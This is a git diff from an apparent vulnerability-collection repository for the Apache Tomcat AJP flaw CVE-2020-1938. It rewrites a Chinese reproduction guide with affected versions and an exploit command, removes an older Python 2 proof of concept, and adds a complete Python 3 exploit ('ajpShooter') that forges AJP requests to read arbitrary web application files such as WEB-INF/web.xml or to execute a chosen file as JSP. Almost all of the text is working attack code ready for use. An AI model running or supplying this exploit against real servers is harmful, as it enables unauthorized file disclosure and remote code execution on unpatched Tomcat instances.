diff --git a/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/1.png b/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/1.png deleted file mode 100644 index 981ecca..0000000 Binary files a/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/1.png and /dev/null differ diff --git a/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/2.png b/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/2.png deleted file mode 100644 index adb6768..0000000 Binary files a/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/2.png and /dev/null differ diff --git a/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/Apache-Tomcat-Ajp漏洞(CVE-2020-1938)漏洞.md b/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/Apache-Tomcat-Ajp漏洞(CVE-2020-1938)漏洞.md index ff0777a..00d0b0f 100644 --- a/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/Apache-Tomcat-Ajp漏洞(CVE-2020-1938)漏洞.md +++ b/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/Apache-Tomcat-Ajp漏洞(CVE-2020-1938)漏洞.md @@ -1,15 +1,20 @@ -# 影响版本
-Apache Tomcat 6
-Apache Tomcat 7 < 7.0.100
-Apache Tomcat 8 < 8.5.51
-Apache Tomcat 9 < 9.0.31
-# 漏洞复现
-首先启动apache tamcat服务,访问localhost:8080可以成功访问如下界面 -![1](Documents/GitHub/0day/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/1.png)
-端口扫描发现8009 8080端口开启,证明有该漏洞。
-接着利用POC文件CNVD-2020-10487-Tomcat-Ajp-lfi.py,注意执行环境为python 2。
-命令为 python ./ CNVD-2020-10487-Tomcat-Ajp-lfi.py 本地ip –p 8009 –f WEB-INF/web.xml
-执行成功后可以看到成功访问到该文件。
-![2](Documents/GitHub/0day/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/2.png)
+# Apache-Tomcat-Ajp LFI +## 漏洞编号 +CVE-2020-1938 / CNVD-2020-10487 +## 影响版本 +* Apache Tomcat 6 +* Apache Tomcat 7 < 7.0.100 +* Apache Tomcat 8 < 8.5.51 +* Apache Tomcat 9 < 9.0.31 +## 漏洞复现 +1. 启动apache tomcat服务,访问localhost:8080可以成功访问如下界面 +![](images/index.png) +2. 端口扫描发现8009 8080端口开启,同时上一步的截图中发现版本为`9.0.30` ,证明有该漏洞。 +3. 执行poc 脚本: +```shell +python exp.py http://localhost:8080/ 8009 /WEB-INF/web.xml read +``` +4. 执行成功后可以看到成功访问到该文件 +![](images/result.png) diff --git a/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/CNVD-2020-10487-Tomcat-Ajp-lfi.py b/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/CNVD-2020-10487-Tomcat-Ajp-lfi.py deleted file mode 100644 index 630a581..0000000 --- a/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/CNVD-2020-10487-Tomcat-Ajp-lfi.py +++ /dev/null @@ -1,302 +0,0 @@ -#!/usr/bin/env python -#CNVD-2020-10487 Tomcat-Ajp lfi -#by ydhcui -import struct - -# Some references: -# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html -def pack_string(s): - if s is None: - return struct.pack(">h", -1) - l = len(s) - return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) -def unpack(stream, fmt): - size = struct.calcsize(fmt) - buf = stream.read(size) - return struct.unpack(fmt, buf) -def unpack_string(stream): - size, = unpack(stream, ">h") - if size == -1: # null string - return None - res, = unpack(stream, "%ds" % size) - stream.read(1) # \0 - return res -class NotFoundException(Exception): - pass -class AjpBodyRequest(object): - # server == web server, container == servlet - SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) - MAX_REQUEST_LENGTH = 8186 - def __init__(self, data_stream, data_len, data_direction=None): - self.data_stream = data_stream - self.data_len = data_len - self.data_direction = data_direction - def serialize(self): - data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) - if len(data) == 0: - return struct.pack(">bbH", 0x12, 0x34, 0x00) - else: - res = struct.pack(">H", len(data)) - res += data - if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: - header = struct.pack(">bbH", 0x12, 0x34, len(res)) - else: - header = struct.pack(">bbH", 0x41, 0x42, len(res)) - return header + res - def send_and_receive(self, socket, stream): - while True: - data = self.serialize() - socket.send(data) - r = AjpResponse.receive(stream) - while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: - r = AjpResponse.receive(stream) - - if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: - break -class AjpForwardRequest(object): - _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) - REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} - # server == web server, container == servlet - SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) - COMMON_HEADERS = ["SC_REQ_ACCEPT", - "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", - "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", - "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" - ] - ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] - def __init__(self, data_direction=None): - self.prefix_code = 0x02 - self.method = None - self.protocol = None - self.req_uri = None - self.remote_addr = None - self.remote_host = None - self.server_name = None - self.server_port = None - self.is_ssl = None - self.num_headers = None - self.request_headers = None - self.attributes = None - self.data_direction = data_direction - def pack_headers(self): - self.num_headers = len(self.request_headers) - res = "" - res = struct.pack(">h", self.num_headers) - for h_name in self.request_headers: - if h_name.startswith("SC_REQ"): - code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 - res += struct.pack("BB", 0xA0, code) - else: - res += pack_string(h_name) - - res += pack_string(self.request_headers[h_name]) - return res - - def pack_attributes(self): - res = b"" - for attr in self.attributes: - a_name = attr['name'] - code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 - res += struct.pack("b", code) - if a_name == "req_attribute": - aa_name, a_value = attr['value'] - res += pack_string(aa_name) - res += pack_string(a_value) - else: - res += pack_string(attr['value']) - res += struct.pack("B", 0xFF) - return res - def serialize(self): - res = "" - res = struct.pack("bb", self.prefix_code, self.method) - res += pack_string(self.protocol) - res += pack_string(self.req_uri) - res += pack_string(self.remote_addr) - res += pack_string(self.remote_host) - res += pack_string(self.server_name) - res += struct.pack(">h", self.server_port) - res += struct.pack("?", self.is_ssl) - res += self.pack_headers() - res += self.pack_attributes() - if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: - header = struct.pack(">bbh", 0x12, 0x34, len(res)) - else: - header = struct.pack(">bbh", 0x41, 0x42, len(res)) - return header + res - def parse(self, raw_packet): - stream = StringIO(raw_packet) - self.magic1, self.magic2, data_len = unpack(stream, "bbH") - self.prefix_code, self.method = unpack(stream, "bb") - self.protocol = unpack_string(stream) - self.req_uri = unpack_string(stream) - self.remote_addr = unpack_string(stream) - self.remote_host = unpack_string(stream) - self.server_name = unpack_string(stream) - self.server_port = unpack(stream, ">h") - self.is_ssl = unpack(stream, "?") - self.num_headers, = unpack(stream, ">H") - self.request_headers = {} - for i in range(self.num_headers): - code, = unpack(stream, ">H") - if code > 0xA000: - h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] - else: - h_name = unpack(stream, "%ds" % code) - stream.read(1) # \0 - h_value = unpack_string(stream) - self.request_headers[h_name] = h_value - def send_and_receive(self, socket, stream, save_cookies=False): - res = [] - i = socket.sendall(self.serialize()) - if self.method == AjpForwardRequest.POST: - return res - - r = AjpResponse.receive(stream) - assert r.prefix_code == AjpResponse.SEND_HEADERS - res.append(r) - if save_cookies and 'Set-Cookie' in r.response_headers: - self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] - - # read body chunks and end response packets - while True: - r = AjpResponse.receive(stream) - res.append(r) - if r.prefix_code == AjpResponse.END_RESPONSE: - break - elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: - continue - else: - raise NotImplementedError - break - - return res - -class AjpResponse(object): - _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) - COMMON_SEND_HEADERS = [ - "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", - "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" - ] - def parse(self, stream): - # read headers - self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") - - if self.prefix_code == AjpResponse.SEND_HEADERS: - self.parse_send_headers(stream) - elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: - self.parse_send_body_chunk(stream) - elif self.prefix_code == AjpResponse.END_RESPONSE: - self.parse_end_response(stream) - elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: - self.parse_get_body_chunk(stream) - else: - raise NotImplementedError - - def parse_send_headers(self, stream): - self.http_status_code, = unpack(stream, ">H") - self.http_status_msg = unpack_string(stream) - self.num_headers, = unpack(stream, ">H") - self.response_headers = {} - for i in range(self.num_headers): - code, = unpack(stream, ">H") - if code <= 0xA000: # custom header - h_name, = unpack(stream, "%ds" % code) - stream.read(1) # \0 - h_value = unpack_string(stream) - else: - h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] - h_value = unpack_string(stream) - self.response_headers[h_name] = h_value - - def parse_send_body_chunk(self, stream): - self.data_length, = unpack(stream, ">H") - self.data = stream.read(self.data_length+1) - - def parse_end_response(self, stream): - self.reuse, = unpack(stream, "b") - - def parse_get_body_chunk(self, stream): - rlen, = unpack(stream, ">H") - return rlen - - @staticmethod - def receive(stream): - r = AjpResponse() - r.parse(stream) - return r - -import socket - -def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): - fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) - fr.method = method - fr.protocol = "HTTP/1.1" - fr.req_uri = req_uri - fr.remote_addr = target_host - fr.remote_host = None - fr.server_name = target_host - fr.server_port = 80 - fr.request_headers = { - 'SC_REQ_ACCEPT': 'text/html', - 'SC_REQ_CONNECTION': 'keep-alive', - 'SC_REQ_CONTENT_LENGTH': '0', - 'SC_REQ_HOST': target_host, - 'SC_REQ_USER_AGENT': 'Mozilla', - 'Accept-Encoding': 'gzip, deflate, sdch', - 'Accept-Language': 'en-US,en;q=0.5', - 'Upgrade-Insecure-Requests': '1', - 'Cache-Control': 'max-age=0' - } - fr.is_ssl = False - fr.attributes = [] - return fr - -class Tomcat(object): - def __init__(self, target_host, target_port): - self.target_host = target_host - self.target_port = target_port - - self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - self.socket.connect((target_host, target_port)) - self.stream = self.socket.makefile("rb", bufsize=0) - - def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): - self.req_uri = req_uri - self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) - print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) - if user is not None and password is not None: - self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') - for h in headers: - self.forward_request.request_headers[h] = headers[h] - for a in attributes: - self.forward_request.attributes.append(a) - responses = self.forward_request.send_and_receive(self.socket, self.stream) - if len(responses) == 0: - return None, None - snd_hdrs_res = responses[0] - data_res = responses[1:-1] - if len(data_res) == 0: - print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) - return snd_hdrs_res, data_res - -''' -javax.servlet.include.request_uri -javax.servlet.include.path_info -javax.servlet.include.servlet_path -''' - -import argparse -parser = argparse.ArgumentParser() -parser.add_argument("target", type=str, help="Hostname or IP to attack") -parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") -parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") -args = parser.parse_args() -t = Tomcat(args.target, args.port) -_,data = t.perform_request('/asdf',attributes=[ - {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, - {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, - {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, - ]) -print('----------------------------') -print("".join([d.data for d in data])) diff --git a/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/exp.py b/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/exp.py new file mode 100644 index 0000000..263c3b4 --- /dev/null +++ b/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/exp.py @@ -0,0 +1,386 @@ +#!/usr/bin/python3 +# Author: 00theway + +import socket +import binascii +import argparse +import urllib.parse + +debug = False + + +def log(type, *args, **kwargs): + if type == 'debug' and debug == False: + return + elif type == 'append' and debug == True: + return + elif type == 'append': + kwargs['end'] = '' + print(*args, **kwargs) + return + print('[%s]' % type.upper(), *args, **kwargs) + + +class ajpRequest(object): + def __init__(self, request_url, method='GET', headers=[], attributes=[]): + self.request_url = request_url + self.method = method + self.headers = headers + self.attributes = attributes + + def method2code(self, method): + methods = { + 'OPTIONS': 1, + 'GET': 2, + 'HEAD': 3, + 'POST': 4, + 'PUT': 5, + 'DELETE': 6, + 'TRACE': 7, + 'PROPFIND': 8 + } + code = methods.get(method, 2) + return code + + def make_headers(self): + header2code = { + b'accept': b'\xA0\x01', # SC_REQ_ACCEPT + b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET + b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING + b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE + b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION + b'connection': b'\xA0\x06', # SC_REQ_CONNECTION + b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE + b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH + b'cookie': b'\xA0\x09', # SC_REQ_COOKIE + b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2 + b'host': b'\xA0\x0B', # SC_REQ_HOST + b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA + b'referer': b'\xA0\x0D', # SC_REQ_REFERER + b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT + } + headers_ajp = [] + + for (header_name, header_value) in self.headers: + code = header2code.get(header_name, b'') + if code != b'': + headers_ajp.append(code) + headers_ajp.append(self.ajp_string(header_value)) + else: + headers_ajp.append(self.ajp_string(header_name)) + headers_ajp.append(self.ajp_string(header_value)) + + return self.int2byte(len(self.headers), 2), b''.join(headers_ajp) + + def make_attributes(self): + ''' + org.apache.catalina.jsp_file + javax.servlet.include.servlet_path + javax.servlet.include.path_info + ''' + attribute2code = { + b'remote_user': b'\x03', + b'auth_type': b'\x04', + b'query_string': b'\x05', + b'jvm_route': b'\x06', + b'ssl_cert': b'\x07', + b'ssl_cipher': b'\x08', + b'ssl_session': b'\x09', + b'req_attribute': b'\x0A', # Name (the name of the attribut follows) + b'ssl_key_size': b'\x0B' + } + attributes_ajp = [] + + for (name, value) in self.attributes: + code = attribute2code.get(name, b'') + if code != b'': + attributes_ajp.append(code) + if code == b'\x0A': + for v in value: + attributes_ajp.append(self.ajp_string(v)) + else: + attributes_ajp.append(self.ajp_string(value)) + + return b''.join(attributes_ajp) + + def ajp_string(self, message_bytes): + # an AJP string + # the length of the string on two bytes + string + plus two null bytes + message_len_int = len(message_bytes) + return self.int2byte(message_len_int, 2) + message_bytes + b'\x00' + + def int2byte(self, data, byte_len=1): + return data.to_bytes(byte_len, 'big') + + def make_forward_request_package(self): + ''' + AJP13_FORWARD_REQUEST := + prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST + method (byte) + protocol (string) + req_uri (string) + remote_addr (string) + remote_host (string) + server_name (string) + server_port (integer) + is_ssl (boolean) + num_headers (integer) + request_headers *(req_header_name req_header_value) + attributes *(attribut_name attribute_value) + request_terminator (byte) OxFF + ''' + req_ob = urllib.parse.urlparse(self.request_url) + + # JK_AJP13_FORWARD_REQUEST + prefix_code_int = 2 + prefix_code_bytes = self.int2byte(prefix_code_int) + method_bytes = self.int2byte(self.method2code(self.method)) + protocol_bytes = b'HTTP/1.1' + req_uri_bytes = req_ob.path.encode('utf8') + remote_addr_bytes = b'127.0.0.1' + remote_host_bytes = b'localhost' + server_name_bytes = req_ob.hostname.encode('utf8') + + # SSL flag + if req_ob.scheme == 'https': + is_ssl_boolean = 1 + else: + is_ssl_boolean = 0 + + # port + server_port_int = req_ob.port + if not server_port_int: + server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443 + server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes + + is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte + + self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int))) + + num_headers_bytes, headers_ajp_bytes = self.make_headers() + + attributes_ajp_bytes = self.make_attributes() + + message = [] + message.append(prefix_code_bytes) + message.append(method_bytes) + message.append(self.ajp_string(protocol_bytes)) + message.append(self.ajp_string(req_uri_bytes)) + message.append(self.ajp_string(remote_addr_bytes)) + message.append(self.ajp_string(remote_host_bytes)) + message.append(self.ajp_string(server_name_bytes)) + message.append(server_port_bytes) + message.append(is_ssl_bytes) + message.append(num_headers_bytes) + message.append(headers_ajp_bytes) + message.append(attributes_ajp_bytes) + message.append(b'\xff') + message_bytes = b''.join(message) + + send_bytes = b'\x12\x34' + self.ajp_string(message_bytes) + + return send_bytes + + +class ajpResponse(object): + def __init__(self, s, out_file): + self.sock = s + self.out_file = out_file + self.body_start = False + self.common_response_headers = { + b'\x01': b'Content-Type', + b'\x02': b'Content-Language', + b'\x03': b'Content-Length', + b'\x04': b'Date', + b'\x05': b'Last-Modified', + b'\x06': b'Location', + b'\x07': b'Set-Cookie', + b'\x08': b'Set-Cookie2', + b'\x09': b'Servlet-Engine', + b'\x0a': b'Status', + b'\x0b': b'WWW-Authenticate', + } + if not self.out_file: + self.out_file = False + else: + log('*', 'store response in %s' % self.out_file) + self.out = open(self.out_file, 'wb') + + def parse_response(self): + log('debug', 'start') + + magic = self.recv(2) # first two bytes are the 'magic' + log('debug', 'magic', magic, binascii.b2a_hex(magic)) + # next two bytes are the length + data_len_int = self.read_int(2) + + code_int = self.read_int(1) + log('debug', 'code', code_int) + + if code_int == 3: + self.parse_send_body_chunk() + elif code_int == 4: + self.parse_headers() + elif code_int == 5: + self.parse_response_end() + quit() + + self.parse_response() + + def parse_headers(self): + log("append", '\n') + log('debug', 'parsing RESPONSE HEADERS') + + status_int = self.read_int(2) + msg_bytes = self.read_string() + + log('<', status_int, msg_bytes.decode('utf8')) + + headers_number_int = self.read_int(2) + log('debug', 'headers_nb', headers_number_int) + + for i in range(headers_number_int): + # header name: two cases + first_byte = self.recv(1) + second_byte = self.recv(1) + + if first_byte == b'\xa0': + header_key_bytes = self.common_response_headers[second_byte] + else: + header_len_bytes = first_byte + second_byte + header_len_int = int.from_bytes(header_len_bytes, byteorder='big') + header_key_bytes = self.read_bytes(header_len_int) + # consume the 0x00 terminator + self.recv(1) + + header_value_bytes = self.read_string() + try: + header_key_bytes = header_key_bytes.decode('utf8') + header_value_bytes = header_value_bytes.decode('utf8') + except: + pass + log('<', '%s: %s' % (header_key_bytes, header_value_bytes)) + + def parse_send_body_chunk(self): + if not self.body_start: + log('append', '\n') + log('debug', 'start parsing body chunk') + self.body_start = True + chunk = self.read_string() + if self.out_file: + self.out.write(chunk) + else: + try: + chunk = chunk.decode('utf8') + except: + pass + + log('append', chunk) + + def parse_response_end(self): + log('debug', 'start parsing end') + code_reuse_int = self.read_int(1) + log('debug', "finish parsing end", code_reuse_int) + self.sock.close() + + def read_int(self, int_len): + return int.from_bytes(self.recv(int_len), byteorder='big') + + def read_bytes(self, bytes_len): + return self.recv(bytes_len) + + def read_string(self, int_len=2): + data_len = self.read_int(int_len) + data = self.recv(data_len) + # consume the 0x00 terminator + end = self.recv(1) + log('debug', 'read_string read data_len:%d\ndata_len:%d\nend:%s' % (data_len, len(data), end)) + return data + + def recv(self, data_len): + data = self.sock.recv(data_len) + while len(data) < data_len: + log('debug', 'recv not end,wait for %d bytes' % (data_len - len(data))) + data += self.sock.recv(data_len - len(data)) + return data + + +class ajpShooter(object): + def __init__(self, args): + self.args = args + self.headers = args.header + self.ajp_port = args.ajp_port + self.requesturl = args.url + self.target_file = args.target_file + self.shooter = args.shooter + self.method = args.X + self.out_file = args.out_file + + def shoot(self): + headers = self.transform_headers() + + target_file = self.target_file.encode('utf8') + + attributes = [] + evil_req_attributes = [ + (b'javax.servlet.include.request_uri', b'index'), + (b'javax.servlet.include.servlet_path', target_file) + ] + + for req_attr in evil_req_attributes: + attributes.append((b"req_attribute", req_attr)) + + if self.shooter == 'read': + self.requesturl += '/index.txt' + else: + self.requesturl += '/index.jsp' + + ajp_ip = urllib.parse.urlparse(self.requesturl).hostname + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((ajp_ip, self.ajp_port)) + + message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package() + s.send(message) + + ajpResponse(s, self.out_file).parse_response() + + def transform_headers(self): + self.headers = [] if not self.headers else self.headers + newheaders = [] + for header in self.headers: + hsplit = header.split(':') + hname = hsplit[0] + hvalue = ':'.join(hsplit[1:]) + newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8'))) + + return newheaders + + +if __name__ == "__main__": + # parse command line arguments + print(''' + _ _ __ _ _ + /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ + //_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__| + / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | + \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| + |__/|_| + 00theway,just for test + ''') + parser = argparse.ArgumentParser() + parser.add_argument('url', help='target site\'s context root url like http://www.example.com/demo/') + parser.add_argument('ajp_port', default=8009, type=int, help='ajp port') + parser.add_argument('target_file', help='target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg') + parser.add_argument('shooter', choices=['read', 'eval'], help='read or eval file') + + parser.add_argument('--ajp-ip', help='ajp server ip,default value will parse from from url') + parser.add_argument('-H', '--header', help='add a header', action='append') + parser.add_argument('-X', help='Sets the method (default: %(default)s).', default='GET', + choices=['GET', 'POST', 'HEAD', 'OPTIONS', 'PROPFIND']) + parser.add_argument('-d', '--data', nargs=1, help='The data to POST') + parser.add_argument('-o', '--out-file', help='write response to file') + parser.add_argument('--debug', action='store_true', default=False) + + args = parser.parse_args() + debug = args.debug + ajpShooter(args).shoot()